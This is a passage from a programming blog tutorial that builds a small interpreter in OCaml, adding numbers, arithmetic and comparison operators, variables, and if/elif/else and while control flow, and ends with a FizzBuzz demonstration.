<p>The <code>tokenize_number</code> function looks almost identical to the earlier <code>tokenize_name</code>, except it deals with digits instead:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_number ls =
  <span class="hljs-keyword">let</span> is_number_char ch = ch &gt;= <span class="hljs-string">'0'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'9'</span> || ch == <span class="hljs-string">'.'</span> <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_number_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-type">TNumber</span> (float_of_string (<span class="hljs-type">String</span>.sub ls.src start (ls.pos - start)))
</code></pre>
<p>The syntax tree also expands with new node types for the operators we've introduced:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">ENumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>
  | <span class="hljs-type">EGt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EGtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELt</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ELtEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ENotEq</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EAdd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">ESub</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMul</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EDiv</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EMod</span> <span class="hljs-keyword">of</span> expr * expr
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>We return to the parser, where the question of operator precedence inevitably comes up again. The new operators fit into our current system like this:</p>
<ol>
<li>literal values (<code>parse_primary</code>)</li>
<li>parentheses (<code>parse_bracketing</code>)</li>
<li><strong>multiplication and division</strong> (<code>parse_mul_div</code>)</li>
<li><strong>addition and subtraction</strong> (<code>parse_add_sub</code>)</li>
<li><strong>comparison operators</strong> (<code>parse_comparison</code>)</li>
<li>boolean <code>not</code> operator (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> and <code>or</code> operators (<code>parse_bool_expr</code>)</li>
</ol>
<p>So we need to insert three new functions right after <code>parse_bool_unary</code>:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_comparison ps =
  <span class="hljs-keyword">let</span> left = parse_add_sub ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TLt</span>    -&gt; ignore (consume ps); <span class="hljs-type">ELt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TLtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">ELtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGt</span>    -&gt; ignore (consume ps); <span class="hljs-type">EGt</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TGtEq</span>  -&gt; ignore (consume ps); <span class="hljs-type">EGtEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TEq</span>    -&gt; ignore (consume ps); <span class="hljs-type">EEq</span> (left, parse_add_sub ps)
  | <span class="hljs-type">TNotEq</span> -&gt; ignore (consume ps); <span class="hljs-type">ENotEq</span> (left, parse_add_sub ps)
  | _ -&gt; left
</code></pre>
<p>The structure is similar to what we've seen before, except we don't use recursion within the same level. I didn't want to support expressions like <code>1 &lt; 2 &gt;= 0 == 0</code>. Some languages partially allow this (Python, for example, supports <code>a &lt; b &lt; c</code>). It's just a matter of taste.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_add_sub ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TPlus</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EAdd</span> (left, parse_mul_div ps))
    | <span class="hljs-type">TMinus</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">ESub</span> (left, parse_mul_div ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_mul_div ps)
</code></pre>
<p>Here we have the familiar internal recursive <code>loop</code>, so expressions like <code>1 + 2 + 3 - 4</code> are now possible and will be evaluated left to right.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_mul_div ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TAsterisk</span> -&gt; ignore (consume ps); loop (<span class="hljs-type">EMul</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TSlash</span>    -&gt; ignore (consume ps); loop (<span class="hljs-type">EDiv</span> (left, parse_bracketing ps))
    | <span class="hljs-type">TPercent</span>  -&gt; ignore (consume ps); loop (<span class="hljs-type">EMod</span> (left, parse_bracketing ps))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bracketing ps)
</code></pre>
<p>The multiplication/division variant doesn't add much new conceptually. It follows the same logic, just calling the next function in the precedence chain.</p>
<p>A small adjustment is also made in <code>parse_primary</code>:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; ignore (consume ps); <span class="hljs-type">EBool</span> b
  | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> n
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>Just like with <code>TBool</code>, we now also handle a <code>TNumber</code> token.</p>
<p>With that, we return to evaluation. Naturally, the <code>value</code> type expands, along with <code>show_value</code>:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">RuntimeError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> <span class="hljs-keyword">value</span> =
  | <span class="hljs-type">VBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">VNumber</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">float</span>

<span class="hljs-keyword">let</span> show_value v =
  <span class="hljs-keyword">match</span> v <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> b -&gt; string_of_bool b
  | <span class="hljs-type">VNumber</span> n -&gt;
    <span class="hljs-keyword">if</span> <span class="hljs-type">Float</span>.is_integer n <span class="hljs-keyword">then</span> string_of_int (int_of_float n)
    <span class="hljs-keyword">else</span> string_of_float n
</code></pre>
<p>Then we extend <code>eval</code>:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">VBool</span> b
  | <span class="hljs-type">ENumber</span> b -&gt; <span class="hljs-type">VNumber</span> b
  | <span class="hljs-type">EBoolNot</span> e -&gt;
    (<span class="hljs-keyword">match</span> eval e <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (not b)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; eval_bool_arithmetic ( &amp;&amp; ) l r
  | <span class="hljs-type">EBoolOr</span> (l, r)  -&gt; eval_bool_arithmetic ( || ) l r
  | <span class="hljs-type">EGt</span> (l, r)      -&gt; eval_comparison ( &gt; ) l r
  | <span class="hljs-type">EGtEq</span> (l, r)    -&gt; eval_comparison ( &gt;= ) l r
  | <span class="hljs-type">ELt</span> (l, r)      -&gt; eval_comparison ( &lt; ) l r
  | <span class="hljs-type">ELtEq</span> (l, r)    -&gt; eval_comparison ( &lt;= ) l r
  | <span class="hljs-type">EEq</span> (l, r)      -&gt; eval_comparison ( = ) l r
  | <span class="hljs-type">ENotEq</span> (l, r)   -&gt; eval_comparison ( &lt;&gt; ) l r
  | <span class="hljs-type">EAdd</span> (l, r)     -&gt; eval_arithmetic ( +. ) l r
  | <span class="hljs-type">ESub</span> (l, r)     -&gt; eval_arithmetic ( -. ) l r
  | <span class="hljs-type">EMul</span> (l, r)     -&gt; eval_arithmetic ( *. ) l r
  | <span class="hljs-type">EDiv</span> (l, r)     -&gt; eval_arithmetic ( /. ) l r
  | <span class="hljs-type">EMod</span> (l, r)     -&gt;
    (<span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (float_of_int (int_of_float a <span class="hljs-keyword">mod</span> int_of_float b))
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>))
</code></pre>
<p>Like the arithmetic operators, the binary <code>and</code>/<code>or</code> operators also got a new helper function. The first argument after the function name is the operator in parentheses. This way, it can be passed as an argument like any other function. The arithmetic operators look slightly unusual because OCaml uses different operators for the float type.</p>
<p>The remainder operator stands out a bit, since it's not defined for floats directly. We first convert everything to int, apply the operation, and then convert back to float, since the only numeric type of our language uses float under the hood.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> eval_bool_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VBool</span> a, <span class="hljs-type">VBool</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_comparison op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VBool</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)

<span class="hljs-keyword">and</span> eval_arithmetic op l r =
  <span class="hljs-keyword">match</span> eval l, eval r <span class="hljs-keyword">with</span>
  | <span class="hljs-type">VNumber</span> a, <span class="hljs-type">VNumber</span> b -&gt; <span class="hljs-type">VNumber</span> (op a b)
  | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"Invalid type"</span>)
</code></pre>
<p>The helper functions are very similar. The only thing that changes is the types they accept and the type they return.</p>
<p>In a dynamically typed language, this is where the rules are defined. For example, <code>eval_bool_arithmetic</code> could accept <code>VNumber</code> on both sides and define a rule where <code>0</code> is <code>false</code>, and anything else is <code>true</code>.</p>
<p>A small curiosity here: <code>==</code> and <code>&lt;&gt;</code> currently only work on numbers, so we can't run something like <code>print(true == true)</code>. The other comparison operators don't necessarily make sense for booleans either. Though if we interpret <code>false</code> as <code>0</code> and <code>true</code> as <code>1</code>, that could work. Yet another design decision left to the world's creator.</p>
<p>And with that, we've successfully introduced a new type into our language. If we run a program like:</p>
<pre><code class="hljs python">print(<span class="hljs-number">1</span> + <span class="hljs-number">1</span> * <span class="hljs-number">2</span> - <span class="hljs-number">8</span> &lt; <span class="hljs-number">3</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> <span class="hljs-number">15</span> / <span class="hljs-number">5</span> &gt; <span class="hljs-number">7</span> - <span class="hljs-number">1</span> + <span class="hljs-number">2</span> - <span class="hljs-number">3</span>)
</code></pre>
<p>We get the following output:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>But what happens if we try to run <code>print(-6 &lt; 0)</code>?</p>
<pre class="console"><code>$ ocaml main.ml
Parse error: Unexpected token 'TMinus'
</code></pre>
<p>Oh no! We don't support negative numbers in the source code.</p>
<p>As with everything, there are multiple ways to fix this. We can explicitly handle negative numbers (<code>-</code> followed by a number), or treat <code>-</code> as both a unary and binary operator (adding something like <code>ENeg</code> alongside <code>ESub</code>), which would allow expressions like <code>-(6 - 5)</code> as well. I went with the first approach, but implementing the second is a good exercise.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TMinus</span> -&gt;
    ignore (consume ps);
    (<span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TNumber</span> n -&gt; ignore (consume ps); <span class="hljs-type">ENumber</span> (-<span class="hljs-number">1.</span> *. n)
    | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t))))
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Perhaps the only surprising part here is <code>(-1. *. n)</code>, which comes from OCaml's slightly unusual relationship with floats.</p>
<p>If we rerun <code>print(-6 &lt; 0)</code>, we now get the correct result:</p>
<pre class="console"><code>$ ocaml main.ml
true
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/bracketing..numbers">changes in this step can be found here</a>.</p>
<p>Now that we have both boolean and numeric values, it would be nice to store them somewhere. Time to introduce variables.</p>
<p><a name="9"></a></p>
<h3>Variables</h3>
<p>On the lexer and parser side of things, there won't be too many surprises, but evaluation will get a bit spicier. Let's start, as usual, with the new tokens:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TEqual</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>We already laid the groundwork in the lexer when we introduced the <code>==</code> operator. Now we just need to replace the error handling with the new behavior.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'='</span> -&gt;
  step ls;
  (<span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
  | <span class="hljs-string">'='</span> -&gt; step ls; loop (<span class="hljs-type">TEq</span> :: tokens)
  | _   -&gt; loop (<span class="hljs-type">TEqual</span> :: tokens))
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>The syntax tree gets a new expression for variables and a new statement for assignment.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
</code></pre>
<p>When handling primary expressions, any unknown identifier will now be treated as a variable, and evaluation will decide whether it actually exists.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> i -&gt; ignore (consume ps); <span class="hljs-type">EVar</span> i
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>And in the statement parser, if something starts with an identifier, we assume it's an assignment.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIdentifier</span> t -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TEqual</span>;
    <span class="hljs-type">SAssign</span> (t, parse_expr ps)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Now we can move on to the interesting part: evaluation. During execution, we need a place to store the variables and their values.</p>
<p>In a more serious programming language, this would be a much more complex issue, since we'd also need to handle scopes. But our little language hasn't reached that level of maturity yet, so a simple hash table is enough to store key-value pairs.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_env <span class="hljs-literal">()</span> = 
  <span class="hljs-type">Hashtbl</span>.create <span class="hljs-number">16</span>

<span class="hljs-keyword">let</span> set_env env name <span class="hljs-keyword">value</span> =
  <span class="hljs-type">Hashtbl</span>.replace env name <span class="hljs-keyword">value</span>

<span class="hljs-keyword">let</span> lookup_env env name =
  <span class="hljs-keyword">match</span> <span class="hljs-type">Hashtbl</span>.find_opt env name <span class="hljs-keyword">with</span>
  | <span class="hljs-type">Some</span> v -&gt; v
  | <span class="hljs-type">None</span> -&gt; raise (<span class="hljs-type">RuntimeError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Undefined variable: %s"</span> name))
</code></pre>
<p><code>make_env</code> creates an empty environment, <code>set_env</code> assigns a value to a variable, and <code>lookup_env</code> retrieves it (or fails if the variable doesn't exist).</p>
<p>Both <code>eval</code> and <code>exec</code> require fairly significant changes. They now need to take the <code>env</code> as an argument, which must be passed through all related function calls.</p>
<p>We also need to handle the new expression that reads a variable's value:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> eval env expr =
  <span class="hljs-keyword">match</span> expr <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">EVar</span> v -&gt; lookup_env env v
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>And the new statement assigns a value to a variable. The value on the right-hand side can itself be an expression, so it must be evaluated first.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> exec env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SAssign</span> (name, <span class="hljs-keyword">value</span>) -&gt;
    set_env env name (eval env <span class="hljs-keyword">value</span>)
</code></pre>
<p>Due to the introduction of <code>env</code>, only minimal changes were needed in the &quot;main&quot; function:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
<span class="hljs-type">List</span>.iter (exec env) stmts
</code></pre>
<p>And the output should, hopefully, look something like this:</p>
<pre class="console"><code>$ ocaml main.ml
5                                 
6
true
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/numbers..variables">changes in this step can be found here</a>.</p>
<p>The language is shaping up nicely, but something is still missing... the cherry on top of our little grammatical cake.</p>
<p><a name="10"></a></p>
<h3>Control flow</h3>
<p>This post is already getting quite long, but it wouldn't really feel like a programming language without the good old <code>if</code>, <code>elif</code>, <code>else</code>, and <code>while</code>. Let's start by adding the new tokens. Besides the four keywords, the two curly braces are also new additions to the language.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TIf</span>
  | <span class="hljs-type">TElseIf</span>
  | <span class="hljs-type">TElse</span>
  | <span class="hljs-type">TWhile</span>
  | <span class="hljs-type">TLeftCurlyBracket</span>
  | <span class="hljs-type">TRightCurlyBracket</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>We handle the new keywords in <code>tokenize_name</code> in the usual way.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">"if"</span>    -&gt; <span class="hljs-type">TIf</span>
| <span class="hljs-string">"elif"</span>  -&gt; <span class="hljs-type">TElseIf</span>
| <span class="hljs-string">"else"</span>  -&gt; <span class="hljs-type">TElse</span>
| <span class="hljs-string">"while"</span> -&gt; <span class="hljs-type">TWhile</span>
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>And in <code>tokenize</code>, we add support for the new braces.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
<span class="hljs-comment">(* ... *)</span>
| <span class="hljs-string">'{'</span> -&gt; step ls; loop (<span class="hljs-type">TLeftCurlyBracket</span> :: tokens)
| <span class="hljs-string">'}'</span> -&gt; step ls; loop (<span class="hljs-type">TRightCurlyBracket</span> :: tokens)
<span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>After much of the same old, here's something new and exciting in the statement type: both <code>if</code> and <code>while</code> take lists of statements as parameters.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> stmt =
  | <span class="hljs-type">SPrint</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">SAssign</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span> * expr
  | <span class="hljs-type">SIf</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span> * stmt <span class="hljs-built_in">list</span>
  | <span class="hljs-type">SWhile</span> <span class="hljs-keyword">of</span> expr * stmt <span class="hljs-built_in">list</span>
</code></pre>
<p>'And what about <code>elif</code> and <code>else</code>?' you might ask. Those are what you'd typically call syntactic sugar: convenience features for the language user that don't need to exist at the syntax tree level. A single construct, <code>SIf(condition, true_statements, false_statements)</code>, can handle everything:</p>
<ul>
<li>if there is an <code>elif</code> branch, the false branch becomes a single-element list containing another <code>SIf()</code></li>
<li>if there is no <code>else</code> branch, the false branch of the final <code>SIf()</code> is just an empty list</li>
</ul>
<p>We also need to adjust how statements are parsed. Until now, we read statements up to <code>TEOF</code>, but now we also need to handle cases where statements stop at a closing brace.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_stmts ps stop_token =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop stmts =
    skip_newlines ps;
    <span class="hljs-keyword">if</span> (peek ps) &lt;&gt; stop_token <span class="hljs-keyword">then</span>
      loop (parse_stmt ps :: stmts)
    <span class="hljs-keyword">else</span>
      stmts
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>We update <code>parse_program</code> accordingly:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  parse_stmts ps <span class="hljs-type">TEOF</span>
</code></pre>
<p>And <code>parse_stmt</code> only needs a suspiciously small amount of modification:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TIf</span> -&gt;
    parse_if ps
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Then comes the actual implementation for handling <code>if</code>:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_if ps =
  ignore (consume ps);
  expect ps <span class="hljs-type">TLeftParen</span>;
  <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightParen</span>;

  expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
  <span class="hljs-keyword">let</span> then_branch = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
  expect ps <span class="hljs-type">TRightCurlyBracket</span>;

  <span class="hljs-keyword">let</span> else_branch = parse_else ps <span class="hljs-keyword">in</span>

  <span class="hljs-type">SIf</span> (cond, then_branch, else_branch)
</code></pre>
<p>We first read the condition, which we expect to be enclosed in <code>(</code> and <code>)</code>. Then we parse the statements that run if the condition evaluates to true, enclosed in <code>{</code> and <code>}</code>. The <code>else</code> branch is handled by a separate function.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_else ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TElseIf</span> -&gt;
    [ parse_if ps ]
  | <span class="hljs-type">TElse</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;
    stmts
  | _ -&gt; <span class="hljs-literal">[]</span>
</code></pre>
<p>Handling <code>elif</code> recursively calls back into <code>parse_if</code>, but wraps its result in a list. The <code>else</code> branch simply parses the statements after it.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_stmt ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TWhile</span> -&gt;
    ignore (consume ps);
    expect ps <span class="hljs-type">TLeftParen</span>;
    <span class="hljs-keyword">let</span> cond = parse_expr ps <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightParen</span>;

    expect ps <span class="hljs-type">TLeftCurlyBracket</span>;
    <span class="hljs-keyword">let</span> stmts = parse_stmts ps <span class="hljs-type">TRightCurlyBracket</span> <span class="hljs-keyword">in</span>
    expect ps <span class="hljs-type">TRightCurlyBracket</span>;

    <span class="hljs-type">SWhile</span> (cond, stmts)
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>The <code>while</code> implementation is almost identical to <code>if</code>, except there is no <code>else</code> branch.</p>
<p>With that, parsing is complete, and we move on to evaluation. First, we slightly reorganize <code>exec</code> so it takes a list of statements as input, and the original logic is moved into <code>exec_stmt</code>.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> exec env stmts =
  <span class="hljs-type">List</span>.iter (exec_stmt env) stmts

<span class="hljs-keyword">and</span> exec_stmt env stmt =
  <span class="hljs-keyword">match</span> stmt <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">SIf</span> (cond, then_branch, else_branch) -&gt;
    (<span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span>  -&gt; (exec env then_branch)
    | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; (exec env else_branch)
    | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"If condition must be a boolean"</span>))
  | <span class="hljs-type">SWhile</span> (cond, stmts) -&gt;
    <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop <span class="hljs-literal">()</span> =
      <span class="hljs-keyword">match</span> eval env cond <span class="hljs-keyword">with</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">true</span> -&gt;
        exec env stmts;
        loop <span class="hljs-literal">()</span>
      | <span class="hljs-type">VBool</span> <span class="hljs-literal">false</span> -&gt; <span class="hljs-literal">()</span>
      | _ -&gt; raise (<span class="hljs-type">RuntimeError</span> <span class="hljs-string">"While condition must be a boolean"</span>)
    <span class="hljs-keyword">in</span>
    loop <span class="hljs-literal">()</span>
</code></pre>
<p>This change is immediately used in the handling of <code>SIf</code> and <code>SWhile</code>. For <code>SIf</code>, we use pattern matching to decide which branch to execute. For <code>SWhile</code>, we repeatedly execute the body recursively until the condition becomes false.</p>
<p>In the &quot;main&quot; function, we only need to adjust the call to <code>exec</code>.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> stmts = parse_program tokens <span class="hljs-keyword">in</span>
<span class="hljs-keyword">let</span> env = make_env <span class="hljs-literal">()</span> <span class="hljs-keyword">in</span>
exec env stmts
</code></pre>
<p>And then we can run something that finally looks like real code:</p>
<pre><code class="hljs javascript">fizzbuzz = <span class="hljs-number">-15</span>
fizz = <span class="hljs-number">-3</span>
buzz = <span class="hljs-number">-5</span>
i = <span class="hljs-number">1</span>
<span class="hljs-keyword">while</span> (i &lt;= <span class="hljs-number">15</span>) {
  <span class="hljs-keyword">if</span> (i % <span class="hljs-number">15</span> == <span class="hljs-number">0</span>) {
    print(fizzbuzz)
  } elif (i % <span class="hljs-number">3</span> == <span class="hljs-number">0</span>) {
    print(fizz)
  } elif (i % <span class="hljs-number">5</span> == <span class="hljs-number">0</span>) {
    print(buzz)
  } <span class="hljs-keyword">else</span> {
    print(i)
  }
  i = i + <span class="hljs-number">1</span>
}
</code></pre>
<p>Unfortunately, strings don't exist in our little world yet, so this was the best we could do, but the output speaks for itself. We're solving <a href="https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition">enterprise-grade problems</a> with elegant simplicity.</p>
<pre class="console"><code>$ ocaml main.ml
1
2
-3
4
-5
-3
7
8
-3
-5
11
-3
13
14
-15
</code></pre>
<p>The <a href="https://github.com/deadlime/the-recursive-descent/compare/variables..control-flow">changes in this step can be found here</a>.</p>
<p><a name="11"></a></p>
<h3>'Tis the end</h3>
<p>And so we've arrived here. <em>'The machine works, the creator rests.'</em> By far the longest post ever published on this blog. Congratulations to everyone who made it this far. I hope I managed to cause a few late-night coding sessions.</p>
